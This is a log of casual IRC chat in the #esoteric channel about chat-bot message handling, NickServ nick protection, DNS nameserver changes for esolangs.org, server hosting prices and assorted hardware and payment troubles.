cannot make it secure, really < 1396096204 291170 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well secure and convenient < 1396096220 217484 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :^ < 1396096234 770768 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :so lambdabot doesn't even try. < 1396096265 461484 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i didnt even try fixing my message bot (actually just a small module within a much larger bot) and just discarded it < 1396096289 261165 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Well, lambdabot can't even track nicknames to begin with, so it's rather moot < 1396096295 442994 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :@seen oerjan < 1396096295 629657 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :oerjAN < 1396096309 401284 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : @seen was removed ages ago < 1396096328 10951 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@seep < 1396096328 197693 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Maybe you meant: slap leet help < 1396096338 862948 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@leet oerjan < 1396096339 88466 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :OERjan < 1396096349 741056 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :close enough < 1396096356 951067 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i think its awesome that someone went and made a bot in befunge < 1396096374 847542 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yes < 1396096397 71409 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :next: brainfuck < 1396096411 935736 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I suspect that having lambdabot issuing whois queries would create more problems than it could possibly solve. < 1396096455 112432 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i think you should built in a message list that the user has to clear manually, that way noone can 'lose' messages that are read by others < 1396096489 871465 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(it would also a design challenge, since it would add an asynchronous query to a design that's currently (mostly?) synchronous.) < 1396096492 951564 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Zom-B: um it wouldn't prevent others from clearing the messages < 1396096506 641487 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i assume that they read it by accident < 1396096519 31402 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :otherwise keep te last 10 messages oir so < 1396096561 721061 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i'm not sure it happens that much by accident? lambdabot is not on _that_ many channels... < 1396096562 923483 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I would hate having to clear them explicitely. < 1396096571 50916 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Modify your own irc client to send them the message when they log in. < 1396096584 123645 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :oerjan: 70 is a lot in my view. < 1396096584 722314 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :it messaged 'zom-b' that there were messages, and someone else took my nick < 1396096616 461506 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :int-e: yes but is it enough that people accidentally confuse nicks in them _and_ get @tells < 1396096647 657719 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :nah, I thought the problem was the opposite < 1396096668 541187 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :lambdabot is on 70 channels O_o? < 1396096669 779691 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :people changing nicks (or getting an _ appended, whatever) and never seeing that they got messages because of that. < 1396096671 760972 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Zom-B: are you sure that happened < 1396096691 681028 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :yes < 1396096692 511623 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :Zom-B Nickname is already in use. < 1396096692 698245 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :- < 1396096692 698413 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :Zom-B is ~PartyArty@2a02:8108:240:970:24ae:27e1:b86:f411 * zom_b@gmx.de < 1396096692 698508 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :Zom-B using hobana.freenode.net Bucharest, RO < 1396096692 698600 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :ZOm-B End of /WHOIS list. < 1396096708 800780 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh well < 1396096729 741176 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1396096737 51192 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :im not 100% sure that he actually got messages from lambdabot but what other explaination is ther? < 1396096759 740878 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Zom-B: you can activate nickserv's protection against that if you want. < 1396096772 621351 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :al ready registered yesterday < 1396096808 441215 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i don't mean plain registration, there's a flag to automatically throw out people trying to use your nick without logging on < 1396096865 800927 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :enforce, right? < 1396096869 461761 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :the downside is that you have to do some command to get on yourself afterward when it happens, iirc < 1396096883 241533 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :something like that < 1396096915 454282 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1396096917 411162 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1396096930 502013 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :you get a 60 second timer if you're not logged in, but i have a login script that runs on every connect < 1396097136 923206 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i just use a server password < 1396097182 481277 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: Why am I still here < 1396097465 861681 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I just use a X.509 certificate. < 1396099261 843987 :tertu!~quassel@174-20-41-3.mpls.qwest.net JOIN :#esoteric < 1396100913 891664 :ket1v!~ket1v@147.69.37.57 QUIT :Remote host closed the connection < 1396100928 53781 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1396101152 472897 :ket1v!~ket1v@147.69.37.57 QUIT :Remote host closed the connection < 1396101169 833363 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1396101938 651742 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi QUIT :Quit: Leaving < 1396106340 784883 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1396106902 462791 :ChanServ!ChanServ@services. MODE #esoteric -b :*!*elliot*@* > 1396106902 902217 NAMES :#esoteric < 1396106909 433554 :elliott!~elliott@unaffiliated/elliott JOIN :#esoteric < 1396106927 352322 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :fizzie: the nameservers for esolangs.org should have been switched over now < 1396106930 718698 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :(they are in whois locally) < 1396107690 511354 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I get ns1.twisted4life.com. and eos.zem.fi. < 1396107736 593922 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(from one of the .org nameservers) < 1396107750 914751 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :why was elliott banned? < 1396107764 319045 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I banned myself :P < 1396107771 312576 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :why? :) < 1396107787 873418 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :A guess: To get some sleep? < 1396107794 212343 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :because a spammer was playing whack-a-mole with names with elliott in it and I was bored < 1396107800 63283 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :*in them < 1396107820 412285 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :int-e: eos.zem.fi should be the "primary" one, but apparently DNS nameservers are unordered and the primary one just goes in another record or something? < 1396107821 874498 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ah. missed that. < 1396107827 292312 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I don't really know how DNS works. < 1396107849 312441 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I also don't know how long I should leave the esolangs.org records lying around in the Linode DNS... < 1396107851 33454 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :elliott: right that's an internal arrangement, the rest of DNS doesn't care. < 1396107892 463378 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(one step further you can see that: esolangs.org. 259200 IN SOA eos.zem.fi. postmaster.esolangs.org. 2014032301 28800 7200 2419200 86400) < 1396107912 946230 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :SOA meaning "start of authority" and eos.zem.fi being the authorative name server. < 1396107921 758938 :password2!~password@105.233.36.200 JOIN :#esoteric < 1396107994 372163 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ACTION nod < 1396108006 606291 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :while the .org server just shrugs its shoulders and refers you to two nameservers that should know more. < 1396108011 193178 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I just use Linode's web interface to set it all up initially because what's a DNS. < 1396108030 62709 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :(I don't own the domain) < 1396108081 82567 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :linode! < 1396108087 192654 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :pfft, online.net is where it's at < 1396108128 272259 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it got set up in early 2012. < 1396108140 242557 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :way better pricing on mine < 1396108147 382806 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :you should move over! < 1396108163 613732 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :does this place even do VPSes? < 1396108177 112127 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :no < 1396108193 512466 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :but this is a crazy good deal: http://www.online.net/en/dedicated-server/dedibox-scg2 < 1396108198 482413 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :I have one and it works fine < 1396108203 203165 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I don't wanna keep paying linode $20/mo, but I can get a VPS cheaper than these prices and I don't need the muscle :p < 1396108250 630701 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :heh, VIA, nice < 1396108275 884139 :Sellyme!~Sellyme@irc.sellyme.com QUIT :Excess Flood < 1396108289 932273 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :I also got myself one of these recently, that's very cute: http://www.amazon.com/gp/product/B00FWUVTS0 < 1396108329 704483 :Sellyme!~Sellyme@199.127.227.147 JOIN :#esoteric < 1396108498 545915 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :cute. I wonder how long it takes to compile ghc on one of those ... < 1396108521 512125 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :haven't tried it yet :) < 1396109004 97890 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Anyway, I suspect it would be too weak for running lambdabot. < 1396109270 142224 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :really? < 1396109288 104101 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :you talking about the VIA box or the ARM one? < 1396109313 897895 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :> text . map chr . scanl1 (+) $ [40,58,3,-2,-2,20,-2,-14,-69,71,1,-5,-67,84,-19,10,-6,14,-83,65,6,-2,14,-83,84,-5,-79,76,3,-14,3,-68,65,11,0,-76,84,-12,-3,-69,80,-15,2,8,-10,6,-2,14,-83,85,-2,-14,-1,-68,66,23,-89,32,50,3,-7,-69] < 1396109314 782191 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:29:When elaborating an application of function 09Control.Category..: < 1396109314 968868 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric : No such variable scanl1 < 1396109315 202751 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : (because ghc takes ages to load all the packages used by @run) < 1396109326 290006 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :> text . map chr . scanl (+) 40 [58,3,-2,-2,20,-2,-14,-69,71,1,-5,-67,84,-19,10,-6,14,-83,65,6,-2,14,-83,84,-5,-79,76,3,-14,3,-68,65,11,0,-76,84,-12,-3,-69,80,-15,2,8,-10,6,-2,14,-83,85,-2,-14,-1,-68,66,23,-89,32,50,3,-7,-69] < 1396109326 613007 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric :When elaborating an application of function 09Control.Category..: < 1396109326 800222 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric : No such variable scanl < 1396109327 311946 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Couldn't match expected type `a0 -> [GHC.Types.Int]' < 1396109327 498938 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : with actual type `[b0]' < 1396109331 66012 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :meh < 1396109336 305823 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :> L.scanl < 1396109336 492665 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:1:When elaborating an application of constructor 04__infer: < 1396109336 679721 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric : No such variable L.scanl < 1396109337 223579 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `L.scanl' < 1396109337 410462 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Perhaps you meant one of these: < 1396109337 410651 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `P.scanl' (imported from Prelude), < 1396109337 410747 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `BSL.scanl' (imported from Data.ByteString.Lazy), < 1396109337 410842 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `BS.scanl' (imported from Data.ByteString) < 1396109365 46225 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :err. it worked the first time. mumble. < 1396109373 159256 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :idris-ircslave: begone < 1396109373 159431 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:1:When elaborating an application of constructor 04__infer: < 1396109373 159532 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric : No such variable begone < 1396109395 765885 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :copumpkin: the via one < 1396109411 745935 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I have not looked at the arm one < 1396109411 932570 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :ah < 1396109426 332811 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :I dunno, I guess I could try installing lambdabot on it and see :) < 1396109430 758015 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :with ARM I would worry about getting code to run. < 1396109497 137971 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :But I don't know whether this is a real concern. < 1396109542 162160 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ACTION is a happy ramnode customer, for running lambdabot < 1396109657 341861 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I should probably verify that postmaster@esolangs.org also works, given that I stuck it in. < 1396109659 9894 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(They sell VMs, where essentially, you pay for provided RAM; a 1GB VM is about twice as expensive as a 512MB one. As far as I know, they don't overcommit that ressource.) < 1396109691 82256 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(hostmaster probably would've been the more appropriate alias in a SOA record, too.) < 1396109702 114720 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :which I found to be a refreshingly honest approach to selling VMs. < 1396109710 962361 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :yup, they look nice < 1396109731 273169 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1396109741 652001 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :prgmr pricing is also RAM-based. < 1396109753 948807 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's some amount of dollars per every 64 MB. < 1396109787 852359 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"An easy to understand price schedule: $4/month per account, and $1/month for every 64MiB ram." < 1396109829 4956 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :yeah < 1396109832 362244 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :I used to use prgmr < 1396109849 184960 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :but this online.net thing seemed like a pretty cheap baseline if you don't really need growth < 1396110062 93645 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :It is :) < 1396111136 563363 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1396111932 86199 :Sellyme!~Sellyme@199.127.227.147 PART :#esoteric < 1396114179 973686 :ket1v!~ket1v@147.69.37.57 QUIT :Remote host closed the connection < 1396114203 30820 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1396114274 143747 :ket1v!~ket1v@147.69.37.57 QUIT :Remote host closed the connection < 1396114581 712314 :TodPunk!~Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Ping timeout: 265 seconds < 1396114987 423909 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover QUIT :Ping timeout: 264 seconds < 1396115311 680435 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover JOIN :#esoteric < 1396115671 564764 :Sellyme!~Sellyme@199.127.227.147 JOIN :#esoteric < 1396116276 702463 :password2!~password@105.233.36.200 QUIT :Ping timeout: 240 seconds < 1396116388 372471 :chaiomanot!~chaiomano@75-121-29-109.dyn.centurytel.net JOIN :#esoteric < 1396117544 151930 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1396117819 153049 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1396118335 473518 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1396118428 749072 :Melvar!~melvar@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric :int-e: Was the “begone” serious? < 1396118515 401613 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1396118517 541946 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1396118727 177063 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1396118916 687623 :tertu!~quassel@174-20-41-3.mpls.qwest.net QUIT :Ping timeout: 240 seconds < 1396119547 680277 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :o...k then < 1396119569 112408 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :American Express cards have a 4 digit security code printed elsewhere... but there's still a 3 digit code in the place I'm used to < 1396119569 983443 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :wtf < 1396119646 931104 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :yes, the latter is very rarely needed, except occasionally when you are dealing with amex directly < 1396119760 743970 :Vorpal!~Vorpal@unaffiliated/vorpal JOIN :#esoteric < 1396119776 991818 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Do I need to register some kind of first+last name if I buy an Amex gift card for myself, and want to use it online? < 1396119842 443553 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :The mygiftcard site wants the 3 digit code < 1396119851 325937 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :What the hell happened to my screen, I think my GPU might be borked.... Strange patterns in various rectangular areas of the screen. Switching to a VT and back fixed it. < 1396119894 631489 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Argh happened again < 1396119896 211755 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :bugz < 1396119915 144716 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 QUIT :Ping timeout: 255 seconds < 1396119943 491209 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :And BMT Micro is rejecting the card < 1396119954 711758 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Or maybe I'm making some mistake < 1396119973 665689 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Is BMT Micro reputable enough that maybe I shouldn't have bothered with the gift card? < 1396119991 893014 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Well I was planning on a new GPU anyway, but maybe near the end of the year rather... < 1396120048 11107 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1396120071 193058 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :did you try turning it off and then on again? < 1396120079 492105 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :kmc, very funny < 1396120084 131133 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric ::3 < 1396120098 891876 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Client Quit < 1396120102 81471 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :kmc, I know it is not the monitor, since I have two (of different makes), and it spanned both of them < 1396120116 470101 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :BMT Micro, IRT Micro, IND Micro < 1396120237 582694 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Ah, moving windows around to cause the screen to refresh fixed it too.. Third time now. < 1396120260 202762 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Also I have not updated drivers, kernel or anything like that, so likely the hardware is borked < 1396120472 941344 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :someone nicely added a {{Not typo}} template to Wierd in wikipedia's esolang article. except they miscapitalized it. < 1396120522 663916 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :IRONY < 1396120974 86727 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :fungot: no killing moths or putting boiling water on the ants < 1396120974 318255 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :kmc: i'm using ( gambit). did you implement concurrency, btw? < 1396120978 848534 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :fungot: i did not < 1396120979 250951 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :kmc: according to mr twig, the episode's not for two hours? that's about enough politics for me today, so i will need it < 1396120993 582343 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :^style < 1396120993 769543 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube < 1396122623 31545 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :So yeah, AmEx apparently rejected the order < 1396122623 731328 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric ::( < 1396122630 451161 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :So, I guess I should call them < 1396122825 770632 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I don't think I can easily get my money back out, so I'd rather spend it < 1396123118 962010 :oklopol!~oklopol@dyn60-339.yok.fi JOIN :#esoteric < 1396123707 791333 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm that awful designed comic page is back. looking at the address, it seems i'm being forwarded to the mobile version. < 1396123713 251912 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*+ly < 1396123785 671058 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ah there it worked. hm... < 1396123841 810636 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ah it only happens when i'm loading with zoom on < 1396124172 222709 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1396124208 232201 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1396124468 312558 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 240 seconds < 1396124740 763742 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Vorpal: Latest Nvidia drivers have an issue in conjunction with XMonad where switching between workspaces leaves bits and pieces of old windows on screen, if they're "special" (OpenGL-y) enough. Apparently something buggy related to server-side borders, since so few window managers use those. (Running a compositing manager fixes it.) < 1396124757 24413 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Sgeo_: SORRY ABOUT THAT < 1396124778 275275 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(you may not know yet what "that" is, but you soon will.) < 1396124928 831640 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://zenphoton.com < 1396125063 620991 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i decided not to make a 2-d brainfuck variant of floater < 1396125302 255497 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :kmc, ohhh, these are diffuse < 1396125307 155371 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :i assumed they were reflective < 1396125318 566198 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :there are controls at the left to set that < 1396125558 31537 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1396125576 132962 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Things got somewhat "blocky" after boxing the light in and then reflecting the beam six times. < 1396125620 766103 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1396125633 520225 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :when you make an enclosure of perfect mirrors, it crashes < 1396125779 880850 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :oerjan: just saw the message, was about to come in here to ask if you're reddit-stalking me < 1396125816 783105 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :With.. a grand total of talking to me exactly 1 time < 1396125841 638685 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm need to up the stalking then. < 1396126116 913198 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the person who made that has done a billion other cool things http://scanlime.org/ < 